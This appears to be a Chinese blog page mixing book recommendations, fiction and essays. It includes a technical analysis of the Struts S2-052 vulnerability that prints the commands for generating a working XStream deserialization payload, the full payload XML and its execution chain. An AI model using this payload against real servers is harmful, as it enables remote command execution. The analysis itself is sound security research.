作者: admin

  • 读书【那些对我童年影响很大的书】

    现在时常想起童年读过的那些书,不仅在当时对我产生了很大的影响,而且直到现在回想起来,也深有感触。我想把这些书推荐给你们,不仅可以去寻找那童年时的童心,而且未来给自己的孩子也可以给予推荐。

    我童年真正意义上读懂并有所感触的第一本童书是《夏洛的网》,这是我的爸爸偶然一次买回家送给我的,也就是从这本书开始我爱上了读书。

    读书【那些对我童年影响很大的书】

    夏洛的网

    这本书是由美国作家e.b怀特写的。讲述了关于友情的一个故事。然而这个故事却不是发生在人身上的友情,而是动物之间的友情,这是震撼我的一个地方。书中开篇讲述了朱克曼家的仓库小猪威尔伯的出生,因为是最后一个猪崽天生体弱,被家里人准备杀掉,然而这时被家里的小女儿弗恩救下。作者在弗恩苦苦哀求父亲的这个片段,进行了很多的细微的心理描写和动作描写,让我充分感受到了女孩的爱心。然而本书的高潮是在小猪威尔伯将要在圣诞节被做成熏肉火腿时开始的。在弗恩小猪威尔伯都恐慌的时候,这时蜘蛛夏洛的出现拯救了一切,他的一句我救你感动了一切。蜘蛛夏洛虽然渺小,虽然是一个不起眼的动物,虽然整天在默默的织网,但是他的一句我救你他的勇敢的表现让我敬佩他的人格品格。就这样,他用自己织网的能力不断的为小猪威尔伯织网,让人惊叹着蜘蛛网上的字,让人们以为小猪威尔伯拥有奇特的能力,最终小猪威尔伯免去了死亡,免去了被杀掉的危险。然而这时蜘蛛夏洛却已经耗尽了它的生命,耗尽了他所有的力气,留下了自己的孩子,小猪威尔伯保证抚养他的孩子。夏洛的网这本书讲述了无处不在的友情,将奇幻结合。语言幽默,充满了童趣,让我们感受到了爱,感受到了动物之间的爱,儿童之间的爱,让我们对生命有了更加的深沉的思考,让我们对生命本身充满了更加深沉的眷恋与赞美。

    生命的意义 夏洛在临终时对威尔伯说的那些话“……生命到底是什么啊?我们出生,我们活上一阵子,我们死去。一只蜘蛛,一生只忙着捕捉和吃苍蝇是毫无意义的,通过帮助你,也许可以提升一点我生命的价值。谁都知道活着该做一点有意义的事情”。

    读书【那些对我童年影响很大的书】

    夏洛和威尔伯

    第二本书便是我国著名的儿童文学作家杨红樱写的《女生日记》。

    读书【那些对我童年影响很大的书】

    女生日记

    我接触这本书的时候和书中的主人公冉冬阳的年龄差不多,处在即将青春期的时候,从这本书中我感受到了和我同样心理的微妙的变化。有很大的抵触,同时对我有了很大的帮助。让我有一段时间不再感到迷茫,从书中我似乎和他们一样,经历了同样的事情,让我也有了解决事情的办法。这本书讲述了女生成长的快乐和烦恼,讲述了主人公冉冬阳从小女孩成长为少女时生理和心理的微妙变化。主人公冉东阳虽然不是最漂亮的,虽然不是最聪明的,但是他是被班里同学公认为最有魅力的人。她善解人意,喜欢助人为乐,事事为他人着想,不得不得不让人钦佩。从书中便能看出他的父母对他的品质的形成,对他的性格的养成,做出了很大的贡献。文章的开篇讲述了冉冬阳与梅小雅的友情。因为梅小雅开学的没有到来,冉东阳便忧心忡忡,饭都吃不下去,别忙着去找梅小雅。当听说自己的好朋友因为家庭的困难无法去上学便由生了帮助他的心思。同时还讲述了冉冬阳的其他三个好朋友,莫欣儿、小魔女、南柯梦。他们每个人都有不同的性格特点,每个人都展现了不同的个性。青春期的他们萌生了朦胧的爱情,似乎又叫不上爱情,只是友情的一种延伸。文章中吴缅的男生性格塑造的不错,勇于担当,不惧怕困难,生活中的小百科。当然少不了老师班主任罗老师与数学老师舒昂对同学们的帮助,给予他们心灵上的安慰,身体上的照顾。

    读书【那些对我童年影响很大的书】

    两本

    第三本书当然不得不谈到曹文轩的长篇小说,《山羊不吃天堂草》。曹文轩的长篇小说总是带着深刻的含义,让人们读完后产生心灵上的震撼,常常的反思。

    读书【那些对我童年影响很大的书】

    山羊不吃天堂草

    本书讲述了乡村少年明子为生活所迫,随木匠师傅和师兄外出务工的故事。因为家境的凄凉,生活的艰辛,小小的年龄便外出打工,没有享受到儿童的欢乐,没有享受到属于他们那个年龄的快乐。因为来到城市,因为自己的天真,因为自己受过了很多骗,他不得不狡猾起来,不得不……当我读过这本书后,我感受到原来还有这么多的和我一样大的孩子还没有学上,还被迫因为家世的凄凉被迫去打工。让我对生活多了一份敬畏之心,让我对父母多了一份体谅之心。文中的明子,虽然面对金钱诱惑,虽然面对很多的诱惑,但是他从来没有,从来没有动心过,始终保持优秀的品质,让我们感到深深的敬佩。本书展现了,乡村人生活中,部分人的生活的艰辛,展现了世态的炎凉,展现了人心的叵测。明子,向往都市人的生活。时常展现出失望自责绝望的心理活动。让我们感到心疼,让我们对他心疼。

    但是,他始终不敢,教堂古老、苍茫、深沉、庄严和神圣的钟声让他想起了家乡,他想起了那群羊,那群饥饿的山羊,面对一片长得高贵诱人的“天堂草”却死也不吃,若干天后,竟一只只壮烈地倒毙,他还想起卖羊的商贩说的那句“种不一样”。

    愿这些书也能感染你,也能感动你,也能对你的童年产生很大的影响或者对你以后产生很大的感触。

    读书【那些对我童年影响很大的书】

  • 2019寝室事件簿(3)

    《刀》

    这把刀,是一把传世之刀。

    前人用他降过妖,除过魔,开天辟地,可谓是无所不能。

    如今,这把刀到了他的手里。

    刀尖泛着冷冽的光,锋利地像随手一挥就能划破某人的喉咙。拿到刀的时候,他仿佛都能看到动脉被划开后喷出的血。

    这把刀在多少人身上留下过印记已经不可考了。

    江湖上关于它的传说也因为久远而变得模糊不清。世人都知道这是一把神刀,却再也没有人重新掌握它。

    直到……他的出现……

    刀刃轻轻地划过皮肤,皮肤慢慢分开,表皮层,肌肉层逐渐暴露在眼前。血管,脂肪都能看清了。再深入几刀,顺着肌肉的纹理切开,内脏也快看到了。

    “噗……”

    “啊!”有人发出了尖叫。

    “我早就说过!切的时候一定要避开血管!避开血……”一个女声严肃地说着。

    “啊!”

    “这次又怎么了?我不是说了嘛!下手要轻!要轻!膀胱里面全是尿!你看看!全喷出来了!你们自己给我收拾干净!!”

    解剖老师在教室里面晃了一圈,感觉自己又老了几岁。

    “你们真是我带过最差的一届学生了……解剖个兔子都能搞得跟凶杀现场一样!就这个水平!还想当医生!你自己想想以后做手术在手术台上发现你的主刀医生是现在旁边站的人,你敢不敢让他给你弄!啊?”

    整整一个教室的人,闻言互相看了看,都是一脸的嫌弃。

    “哇!”

    “这次又怎么了!”解剖老师有些心累,一边念叨着什么一边向发生小骚动的地方看去。

    教室的角落里传来稀稀拉拉的掌声和欢呼声。一个体型壮硕的男生,正拿着一把手术刀在兔子的身体上比比划划。

    “……”

    “你在干嘛?”解剖老师走过来,一脸震惊地看着桌子上的兔子。

    “老师老师,二虎他厉害不?血都没有流就解剖完了!而且内脏也一点都没有碰到!完美地避开了所有血管和内脏啊!我们组是不是最高分!是不是完美!”

    跟二虎一个组的一枝花特别自豪,虽然上课的时候他嫌脏所以一刀没动,可架不住队友太靠谱,三下五除二就搞定了一只兔子。今天的第一名妥妥的是他们两个了!你们这些愚蠢的人类啊哈哈哈哈哈哈~

    听到一枝花这么说,二虎抬头对着老师羞涩的一笑,有些不好意思。

    这么个大汉,笑得这么羞涩…还真是让人不习惯。

    “……”

    “……”

    围观的同学看到这出神入化的刀功也不由得竖起了大拇指。这种程度,他们根本就是望尘莫及啊!不!是完全没有想过的高度!

    “……”解剖老师深吸一口气,“你们知道今天这节课是什么课吗?”

    “?解剖课啊!”

    “哦~解剖课啊~”她停顿了一下,指着桌子上的兔子和一个近乎完美的兔子骨架,突然爆发出一阵大吼:“解剖课你给我把兔子切成一块块的兔丁!!!还把内脏都给我取出来了!你这是解剖课吗!!我现在教的是新东方厨艺班吗??啊?!我现在需不需要给你弄点青椒,给你搭个灶台啊?!啊?!你们还第一!今天整个教室归你们打扫了!!给我弄干净!!不然考试就别想过了!”

    解剖老师抚着额……佝偻的身影看上去要多憔悴就有多憔悴……

    下课后……

    人走席散,只留下一桌桌凌乱血腥的兔子……

    “哎哟我去!这血怎么喷得跟凶杀现场一样!嚯!这里也是,谁把兔子的毛都给薅下来了!干嘛~薅社会主义兔毛啊!”

    一枝花一边吐槽一边将桌子上的东西清扫干净,嗯,兔毛手感还真不错!

    “……花啊,对不起啊,连累你得跟我一起打扫卫生了….”

    二虎一边把一筐筐开膛破肚的兔子往教室外面搬,一边愧疚地跟一枝花道歉。

    一枝花连连摆手,“没事没事!!我觉得你弄得很好啊!都是老师不识货。你切得多好啊!比我们食堂的大厨切得好多了!鲜椒兔丁就是得这样的才行啊,小了吃不过瘾,大了又不入味!这个大小简直刚刚好!再说了!!连骨架都完美的取出来了!这是艺术品!艺术品!!”他指着其他桌子上留下的解剖得乱七八糟的兔子们,“你看看那些人搞的!完全就是乱来!这么可爱的小兔兔被他们残忍地蹂躏成这样!跟我们的兔兔完全没法比!”

    二虎被夸得有些害羞,想伸手摸摸后脑勺,又见一手的血,只能放下来,笑着说,“嘿嘿,我就是从小做菜习惯了。”

    “你这习惯简直牛逼了啊!”一枝花不由感叹,“你说你也是,有这本事,干嘛来学医啊!这去学个厨艺,然后分分分钟就是厨神了啊!多少酒店餐厅得跟你屁股后面求你去上班呀!你怎么想的?现在学了医回去,还得规培、学习、考试!哪有做大厨轻松呀!”

    “嘿嘿,那什么,花花你那还有其他垃圾么?我联系工人大叔把兔子给收走了啊!”

    “不行!!等一下!二虎你给我回来!”一枝花贼兮兮对二虎招招手,从书包里掏出了两个黑色的口袋,“你这么积极干嘛。去~挑两只解剖地最干净的兔子装起来。”

    二虎拿着口袋,觉得莫名其妙,“装这个干嘛?”

    “哎呀你傻呀!这么多兔子肉,你以为工人大叔是收到哪去?还不是给食堂做菜了!!不信你看今天晚上肯定整个食堂都做兔子肉!反正都要去食堂了,我们干嘛花钱去食堂吃啊?装回去~晚上寝室聚个餐!”

    “可这都是生的啊!寝室又没火,怎么弄?”

    “哼哼哼,你放心,我早打听好了~大一届的学长们说,学校后街的烧烤店,只要一点点加工费,就能给我们弄成烤兔!!”一枝花得意洋洋地晃了晃手里不知道何时打包好的兔丁,“最多我们再加点钱,把这个变成鲜椒兔丁!”

    于是,当天晚上,2019寝室吃到了丰盛的一餐。

    二虎的刀功也再次得到来自胖子和老三的夸奖……

    ☞未完待续……


    2019寝室事件簿(2)

    2019寝室事件簿(1)

  • S2-052从Payload到执行浅析

    近期曝光的S2-052漏洞备受瞩目,之前的struts版本只要开启了rest插件都有可能会受到影响,网上已经公开的POC已经包含了能够进行远程攻击的payload,该payload实际上是marshallsec利用XStream中的ImageIO gadget生成的XML。本文会介绍从payload生成到执行的整个流程。

    本次实验分析的jdk版本为1.8。

    生成payload

    payload的生成过程非常简单:

    git clone https://github.com/mbechler/marshalsec.git mvn clean package -DskipTests java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc 

    生成的payload如下:

    <map>   <entry>     <jdk.nashorn.internal.objects.NativeString>       <flags>0</flags>       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">         <dataHandler>           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">             <is class="javax.crypto.CipherInputStream">               <cipher class="javax.crypto.NullCipher">                 <initialized>false</initialized>                 <opmode>0</opmode>                 <serviceIterator class="javax.imageio.spi.FilterIterator">                   <iter class="javax.imageio.spi.FilterIterator">                     <iter class="java.util.Collections$EmptyIterator"/>                     <next class="java.lang.ProcessBuilder">                       <command>                         <string>calc</string>                       </command>                       <redirectErrorStream>false</redirectErrorStream>                     </next>                   </iter>                   <filter class="javax.imageio.ImageIO$ContainsFilter">                     <method>                       <class>java.lang.ProcessBuilder</class>                       <name>start</name>                       <parameter-types/>                     </method>                     <name>foo</name>                   </filter>                   <next class="string">foo</next>                 </serviceIterator>                 <lock/>               </cipher>               <input class="java.lang.ProcessBuilder$NullInputStream"/>               <ibuffer></ibuffer>               <done>false</done>               <ostart>0</ostart>               <ofinish>0</ofinish>               <closed>false</closed>             </is>             <consumed>false</consumed>           </dataSource>           <transferFlavors/>         </dataHandler>         <dataLen>0</dataLen>       </value>     </jdk.nashorn.internal.objects.NativeString>     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>   </entry>   <entry>     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>   </entry> </map> 

    过程分析

    1. 寻找xml解释器

    当payload发送到存在漏洞的struts服务端时,可以看到会调用到XStreamHandler类的toObject方法将xml转化成对象。

    S2-052从Payload到执行浅析

    在调用XStreamHandler的toObject方法之前,RestActionInvocation会读取struts-plugin.xml中的解释器并遍历来寻找能够解析输入的Interceptor,直到找到rest库中的ContentTypeInterceptor类(第17次找到rest,对应于下图的16项)。

    S2-052从Payload到执行浅析

    2. 解析XML

    首先给出比较重要的调用过程:

    toObject, XStreamHandler   fromXML, XStream     ...       start, TreeUnmarshaller // 真正开始解析XML,识别类并转化成对象         ...           unmarshal, MapConverter // 开始解析顶层的Map对象             populateMap, MapConverter               putCurrentEntryInfoMap, MapConverter // 解析第一对Entry,即<key, value>结构                 key = readItem // 生成jdk.nashorn.internal.objects.NativeString对象                   readClassType  // 读取key的类型,即jdk.nashorn.internal.objects.NativeString                   ConvertAnother // 递归解析对象                     .....                 value = readItem                 put(key, value), HashMap // 将解析的key,value对象添加到HashMap中                   putVal, HashMap                      hash(key), HashMap  // 对key计算hash                        key.hashCode, NativeString                           getStringValue, NativeString                             toString, Base64Data //调用value的toString方法                               get, Base64Data                                 readFrom, ByteArrayOutputStreamEx                                   read, CipherInputStream                                     getMoreData, CipherInputStream                                       update, NullCipher                                         chooseFirstProvider, NullCipher                                           next, FilterIterator                                             advance, FilterIterator                                               filter, FilterIterator                                                 method.invoke // ProcessBuilder.start() 

    总结一下就是XStream会完成NativeString对象(map第一个键值对)的正常解析,但是当把键值对添加到HashMap对象中时,会计算key (NativeString) 的hash值,也就是对NativeString的value计算hash,但是value的类型并不是String,而是Base64Data,调用Base64Data的toString方法会引发接下来的一系列调用,最终导致命令执行。

    下面针对其中的调用过程进行追踪:

    2.1 key对象解析

    ContentTypeInterceptor的intercept方法会获取能够解析request内容的handler,并调用handler的toObject方法。

    public String intercept(ActionInvocation invocation) throws Exception {         HttpServletRequest request = ServletActionContext.getRequest();         ContentTypeHandler handler = this.selector.getHandlerForRequest(request); // XStreamHandler         Object target = invocation.getAction();         if(target instanceof ModelDriven) {             target = ((ModelDriven)target).getModel();         } ​         if(request.getContentLength() > 0) {             InputStream is = request.getInputStream();             InputStreamReader reader = new InputStreamReader(is);             handler.toObject(reader, target); // XStreamHandler.toObject         } ​         return invocation.invoke();     } 

    XStreamHandler则会调用XStream类的fromXML方法,将Reader对象中的内容转换成target对象。

    public void toObject(Reader in, Object target) {         XStream xstream = this.createXStream();         xstream.fr
    omXML(in, target);     } 

    struts官方发布的新版本也正是在这里进行了修改,新版本的相关方法如下:

    public void toObject(ActionInvocation invocation, Reader in, Object target) {     XStream xstream = CreateXStream(invocation);     xstream.fromXML(in, target); } ​ protected XStream createXStream(ActionInvocation invocation){   XStream stream = new XStream();   stream.addPermission(NoTypePermission.None);   addPerActionPermission(invocation, stream);   addDefaultPermissions(invocation, stream);   return stream; } 

    针对每个action对创建的xstream流对象进行了权限控制,只允许对指定的类进行解析。

    S2-052从Payload到执行浅析

    从XStream的toObject方法开始,直到TreeUnmarshaller的start方法才开始解析XML结构:

     public Object start(DataHolder dataHolder) {         this.dataHolder = dataHolder;         Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);   // java.util.Map         Object result = this.convertAnother((Object)null, type);         Iterator validations = this.validationList.iterator(); ​         while(validations.hasNext()) {             Runnable runnable = (Runnable)validations.next();             runnable.run();         } ​         return result;     } 

    start方法首先读取reader的顶级标签类,此时type对应顶层的标签,也就是 java.uti.Map接口。之后进入到ConvertAnother方法:

     public Object convertAnother(Object parent, Class type, Converter converter) {         type = this.mapper.defaultImplementationOf(type); // java.util.HashMap         if(converter == null) {             converter = this.converterLookup.lookupConverterForType(type);         } else if(!converter.canConvert(type)) {             ConversionException e = new ConversionException("Explicit selected converter cannot handle type");             e.add("item-type", type.getName());             e.add("converter-type", converter.getClass().getName());             throw e;         } ​         return this.convert(parent, type, converter);     } 

    convertAnother方法首先会找到该类对应的具体实现类,java.util.Map变成java.util.HashMap类,然后去寻找合适的转换器,对应于HashMap类找到的converter为MapConverter,通过子类父类的方法调用,最后会执行到MapConvert的unmarshal方法

    S2-052从Payload到执行浅析

    MapConverter的unmarshal方法会调用populateMap对XML结构进行解析,populateMap又会调用putCurrentEntryInfoMap来不断读取每一对标签中的内容,作为一个组合。

     protected void putCurrentEntryIntoMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, Map target) {         reader.moveDown();         Object key = this.readItem(reader, context, map);         reader.moveUp();         reader.moveDown();         Object value = this.readItem(reader, context, map);         reader.moveUp();         target.put(key, value);     }  protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {         Class type = HierarchicalStreams.readClassType(reader, this.mapper());         return context.convertAnother(current, type);     } 

    对key和value对象的解析会调用readItem方法,该方法与TreeUnmarshaller的start方法类似,都是读取类型,然后根据该类型转换成对应的对象。最终解析完成之后第一个entry的key会转换成NativeString对象,该对象的value字段为Base64Data对象。key的解析结果如下:

    S2-052从Payload到执行浅析

    2.2 命令执行

    key对象的转换过程只是一个填充对象字段的过程,不涉及命令执行。当对key和value的解析过程完成,接下来调用target.put(key, value),将键值对加入到HashMap中。该方法会对key计算hash,调用key.hashCode方法,即 NativeString的hashCode方法。

    public V put(K key, V value) {         return putVal(hash(key), key, value, false, true);     } ​ static final int hash(Object key) {         int h;         return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);     } 

    NativeString的hashCode方法首先调用getStringValue获取value的string值,再调用String的hashCode方法。

    public int hashCode() {         return this.getStringValue().hashCode();     } ​     private String getStringValue() {         return this.value instanceof String?(String)this.value:this.value.toString();     } 

    在getStringValue的调用过程中,由于value是Base64Data类型而不是String类型,因此会调用value的toString方法,即Base64Data的toString方法转换成String对象。

    S2-052从Payload到执行浅析

    public String toString() {         this.get();         return DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen);     }  public byte[] get() {         if(this.data == null) {             try {                 ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);                 InputStream is = this.dataHandler.getDataSource().getInputStream(); // CipherInputStream                 baos.readFrom(is); // in                 is.close();                 this.data = baos.getBuffer();                 this.dataLen = baos.size();             } catch (IOException var3) {                 this.dataLen = 0;             }         } ​         return this.data;     } 

    Base64Data的toString方法会调用get方法获取数据,get方法又会从Base64的InputStream流中读取数据,执行到ByteArrayOutputStreamEx的readFrom方法。

    public void readFrom(InputStream is) throws IOException {         while(true) {             if(this.count == this.buf.length) {                 byte[] data = new byte[this.buf.length * 2];                 System.arraycopy(this.buf, 0, data, 0, this.buf.length);                 this.buf = data;             } ​             int sz = is.read(this.buf, this.count, this.buf.length - this.count); // read here             if(sz < 0) {                 return;             } ​             this.count += sz;         }     } 

    其中的is成员是CipherInputStream对象,执行is.read也就是调用CipherInputStream类的read方法。payload中CipherInputStream对象的ostart为0 (0), ofinish也为0 (0) ,满足if条件,因此会执行get
    MoreData方法。

    S2-052从Payload到执行浅析

     public int read(byte[] var1, int var2, int var3) throws IOException {         int var4;         if(this.ostart >= this.ofinish) {             for(var4 = 0; var4 == 0; var4 = this.getMoreData()) {                 ;             }         ......  }    private int getMoreData() throws IOException {         if(this.done) {             return -1;         } else {             int var1 = this.input.read(this.ibuffer);             if(var1 == -1) {                 ......             } else {                 try {                     this.obuffer = this.cipher.update(this.ibuffer, 0, var1);                 } catch (IllegalStateException var4) {                     this.obuffer = null;                     throw var4;                 }                 ......             }         }     } 

    CipherInputStream的done为False,再看下input的read方法,即NullInputStream类的read方法:

    public int read(byte b[]) throws IOException {         return read(b, 0, b.length);     }   public int read(byte b[], int off, int len) throws IOException {         if (b == null) {             throw new NullPointerException();         } else if (off < 0 || len < 0 || len > b.length - off) {             throw new IndexOutOfBoundsException();         } else if (len == 0) {             return 0;         }         ......   } 

    参数b是CipherInputStream的ibuffer成员,是一个length为0的byte数组,相当于调用read(byte [0], 0, 0),read返回值为0。继续回到getMoreData,var1为0,执行到cipher的update方法,即NullCipher的update方法,参数分别为byte[0], 0, 0

    public final byte[] update(byte[] var1, int var2, int var3) {         this.checkCipherState();         if(var1 != null && var2 >= 0 && var3 <= var1.length - var2 && var3 >= 0) {             this.chooseFirstProvider();             return var3 == 0?null:this.spi.engineUpdate(var1, var2, var3);         } else {             throw new IllegalArgumentException("Bad arguments");         }     }  void chooseFirstProvider() {      if(this.firstService == null && !this.serviceIterator.hasNext()) {           ......           throw;      }      if(this.firstService!=null){          ......      }else{        var3 = (Service)this.serviceIterator.next();        ......      }      ...... } 

    update中var!=null && var2>=0 && var3 <= var1.length - var2 && var3>=0的条件是满足的,调用chooseFirstProvider方法。由于firstService为null, 并且serviceIterator的next是”foo”,因此执行到serviceIterator.next方法,serviceIterator对象如下:

    S2-052从Payload到执行浅析

    public T next() {         if (next == null) {             throw new NoSuchElementException();         }         T o = next;         advance();         return o;     }  private void advance() {         while (iter.hasNext()) {             T elt = iter.next();             if (filter.filter(elt)) {                 next = elt;                 return;             }         }         next = null;     } 

    serviceIterator的next不为空,next方法会执行advance方法,由于iter的next成员不为空,调用iter.next方法,返回值为ProcessBuilder对象,调用filter的filter方法,即ContainsFilter的filter方法,参数为ProcessBuilder对象。

    public boolean filter(Object elt) {     try {         return contains((String[])method.invoke(elt), name);     } catch (Exception e) {         return false;     } } 

    method成员为ProcessBuilder.start方法,elt为ProcessBuilder对象,因此method.invoke(elt)相当于 ProcessBuilder.start() 调用,其中ProcessBuilder为已经构造好要执行的命令的对象,对象内容如下,最终达到命令执行的目的。

    S2-052从Payload到执行浅析

    *

  • 薛之谦复合了,我成了前任阳光下的小三

    薛之谦复合了,我成了前任阳光下的小三

    文|3的6次方


    /01/

    凌晨04:19,刷微博的时候,看见老薛发了一张照片,照片里的两个人影十指紧扣,配上了一段话:我记得你跟我时,我一无所有,我不想再寻觅了,请让我给你所有。反正我们也不再年轻了,那就再爱一次吧。

    不出所料,当我点开了他前妻高磊鑫的微博,第一条就是那张照片,加了一句“多少浅浅淡淡的转身,是旁人看不懂的情深。那么,余生请对我好一点。”显然,时隔两年,薛之谦和高磊鑫复合了。

    是啊,我们已经不再年轻了,只想找个人,牵了手就是一生。记得以前他问我什么时候结婚,我会笑着对他说,只有老女人才着急结婚,我只想好好享受我的人生。每当我一脸自信面对他的追问,却往往忽略了他脸上滑过的一丝失落。

    分手两年后,我成长了很多,如今孤身一人,唯一的念想可能就是找个人嫁了吧。就是那么一瞬间,脑海中闪过一个人,那个两年都不曾联系,但却一直住在我心里的那个他。是的,我承认,我真的特别想他。


    薛之谦复合了,我成了前任阳光下的小三

    文|3的6次方

    /02/

    或许正是老薛复合的消息刺激了我,同样是分手的时候有太多的不舍,也同样是分手了两年,还有就是至今都还挂念着对方(当然这点是我意淫的)。两年了,我可能真的也不想再等了。

    是时候主动拾起那份遗失的爱,找回当初错过的那个人。既兴奋,又胆怯的我,微信搜索了他的手机号,还是熟悉的微信名,只不过头像换了。很高兴,两年了,他的微信没变,让我有机会再次找回他。

    其实,我们分手的原因很简单。当时的他很爱我,可我的任性和暴躁一次次推开了他。最终,他受不了了,提出了分手。尽管心里很是不舍,倔强的我还是坚持不肯认错。就这样,离开的时候,我删了他的微信,心里期待着他的回心转意,但两年了,迟迟没有等到。

    我还清楚地记得那天晚上的我,看着他的微信,久久不敢按下“添加到通讯录”。一方面怕被拒绝,另一方面怕通过之后,不知道该说些什么。心里排练了无数遍,怎么和他开始第一句问候,纠结了一个小时,终于申请了添加他的好友。


    薛之谦复合了,我成了前任阳光下的小三

    文|3的6次方

    /03/

    第二天清晨,我怀着忐忑不安的心情打开微信,却发现那个每天早上总是醒不来的懒猪,居然在早上8点的时候,通过了我的微信好友申请,并给我发了一个“早”。

    尽管只有一个字,却足以让我兴奋了整整一天。对于我而言,这一切真的一点也不早。分手两年了,我终于还是鼓起勇气再次闯进他的生活,这一刻来得太晚了。

    从那以后,我们几乎每天都会聊天,当然我找他的频率会更高,他也总会在不忙的时候,给我回上一两句。就算是这样,也足以带给我无限的期待,让我重新燃起对他的幻想。

    我开始每天期待与他的聊天,尽管他早已不像以前那样秒回我的信息,可以和我足足聊上好几个小时。是的,他变了,很多时候,一条消息发过去,我需要等待好久。虽然心里不免还是会失落,但依然很庆幸他再次回到了我身边。


    薛之谦复合了,我成了前任阳光下的小三

    文|3的6次方

    /04/

    线上聊天的时候,我多次问他,我和他现在是什么关系,他只会发一个微笑的表情,没承认亦没否认。得到这样的回应,我的心里其实挺难受的,却还是一次又一次安慰自己,只要他不否认,我们都还有机会。

    可是这样的日子终究太难熬了,在内心纠结了好久,终于还是忍不住向他表白了。那天晚上,我特意选在和他说晚安后的一小时,确保他已经睡着的情况下,给他发了“我还是喜欢你,我们重新在一起吧”。

    第二天一大早,我满心期待地打开了聊天窗口,得到的却是他给的“游戏结束”。原来我和他发生的种种,只不过是他和女友打的一个赌,他赌我是想和他复合,可他女友不信。

    我哭了,哭得声嘶力竭,哭得全身乏力,哭得不省人事。直到室友喊了一句“你们家老薛都复合了,你咋还不起床啊!”我才发现原来这一切都只是一场梦,也幸好只是一场梦。


    薛之谦复合了,我成了前任阳光下的小三

    文|3的6次方

    /05/

    前任就像裹了一层巧克力的棕褐色物体,难道你一定要重新尝一口,看看它到底是屎还是巧克力?不是每个前任都是薛之谦,也不是每段感情都能破镜重圆的。

    换做别的男人,功成名就之后,早就找到年轻貌美的女生,你侬我侬了,谁TM还想着跟你复合。别总活在对前任的假想里,说不定人家早已经大刀阔斧向前进了,只有你还在原地打转。

    当初你们分手因为什么,难道你心里真没点B数?一个男人要是真正爱你,一定不会愿意放开你的手,一定会千方百计找到你。要是没有,就别再想着如何复合,就当放彼此一条生路,自己也早日成长起来。

    有时候谈感情太累,真不如赚钱来得实在,这点老薛就做到了。薛之谦曾经有在节目中承认,他和高磊鑫感情的结束,是因为自己太穷了,怕给不了高想要的生活。

    其实这才是你该明白的道理,千万别在自己穷困潦倒的时候谈感情,趁着年轻,更努力地去实现自己的价值,才是明智之选。没有人爱你的时候,请对自己更好一点。

  • 我的青春在深圳(27)

    我的青春在深圳(27)

    深圳傍晚景色

    文|浪浪于江湖

    全目录|【我的青春在深圳

    上一章|我的青春在深圳(26)


    早婚早育对于90后这一代人来说是一件很没有出息的事情,何况以晴还是未婚先孕。以晴一直想努力活成自己喜欢的样子,可一不小心活成了自己讨厌的样子。明明自己握着一副好牌,现在却被自己打坏了,村里唯一的本科生,最后也走上了未婚先孕的道路。

    在思想落后的农村里,以晴的未婚先孕再次给村人觉得,女孩子读那么多书有什么用,最后还不是早早结婚生子,最终还是要嫁到别人家的。以晴是受过高等教育的人,可她还是有些在意别人异样的眼光,毕竟从小在农村受封建思想的熏陶,骨子里始终还是有些传统思想。可是日子终究是要过下去的,总不能因为害怕别人的嘲笑而自寻短见,这可不是梁以晴的作风。

    以晴把怀孕的事情告诉了佳灿,“我怀孕了”,以晴本以为会佳灿安慰她,以为佳灿会懂她。

    “开这种玩笑,很好笑吗?”

    “真的”。

    “今天不是愚人节吧。”

    “不是”。

    “开这种玩笑一点都不好笑”。

    “……”

    以晴不想和佳灿继续聊下去了,她以为佳灿是这个世界上唯一懂她的朋友,原来是她想太多了。每次她认真对佳灿说话时,佳灿都以为她在开玩笑。

    自从怀孕后,以晴就再也没有去飞瑶家玩,也没有发信息给飞瑶。飞瑶总感觉以晴最近遇到了麻烦,她发信息给以晴:“嘿,最近怎么如此安静?”

    飞瑶突然发信息给以晴,让以晴特别感动,原来关心你的人真的会时刻把你放在心上,“飞瑶,我好难过。”

    飞瑶秒回,“怎么啦?发生什么事情了?”

    “我怀孕了,怎么办?我害怕。”

    “没事,把孩子生下来,不是还有我吗?以后可以帮你溜娃。”

    “可是,我没有钱,刚把之前的2.4万贷款还完了,现在也没存下什么钱。”

    “不怕,以后我省吃俭用,给孩子买奶粉,给孩子买玩具,我现在开始就存钱。”

    “飞瑶,谢谢你。”

    “你不要胡思乱想,早点生孩子也挺好的,这样身体恢复快。”

    飞瑶突然的关心,让以晴很感动,都说当你有难的时候,还依然愿意陪在你身边的朋友,那绝对是铁友。

    自从知道以晴怀孕后,飞瑶对以晴更加好了,经常和筱夏一起去找以晴玩,什么事情都顺着以晴。飞瑶知道此时的以晴最需要朋友的陪伴,她希望以晴能快快乐乐地度过孕期,做一个快乐的孕妈妈。

    以晴对筱夏说:“其实,我有些恨向阳,我是不是不够爱他?”

    筱夏说:“如果是我,我也会恨吧,爱一个人难道就要付出一切吗?还没好好享受生活,就要为人妻,为人母,这代价也太大了。不过如果是少瑾让我生孩子,估计我也会愿意,但如果是未婚先孕,我也会有怨言。”

    以晴说:“现在我发现,我一点都不懂爱情了,爱情是什么?”

    筱夏说:“我也不懂爱情,年轻的时候,总是把爱情看得很重,总要在爱情里犯贱一两回。突然还有些羡慕你,如果我也怀孕了,那么结局是否会不一样,我和少瑾是不是就可以白头到老。可是少瑾从来都不会对我做非分的事情,我们都没有发生过关系。其实,我想把第一次留给他,他是我的初恋,这样至少他不会忘记我,或是偶尔还能想起我,第一次是最难忘的。”

    女人总是把第一次当作是神圣纯洁的礼物送给心爱的男人,以为只要给了第一次对方,对方就会记住她一辈子,留恋她一辈子,爱她一辈子。可事情上,女人还是太单纯了,男人才不会因为你的第一次就会爱你一辈子。

    经理找以晴商量升职的事情,“你的主管马上就要离职了,我想把你升为编辑部的主管,我认为不管是能力还是为人处事,你都非常适合这个岗位,你这边意向如何?”

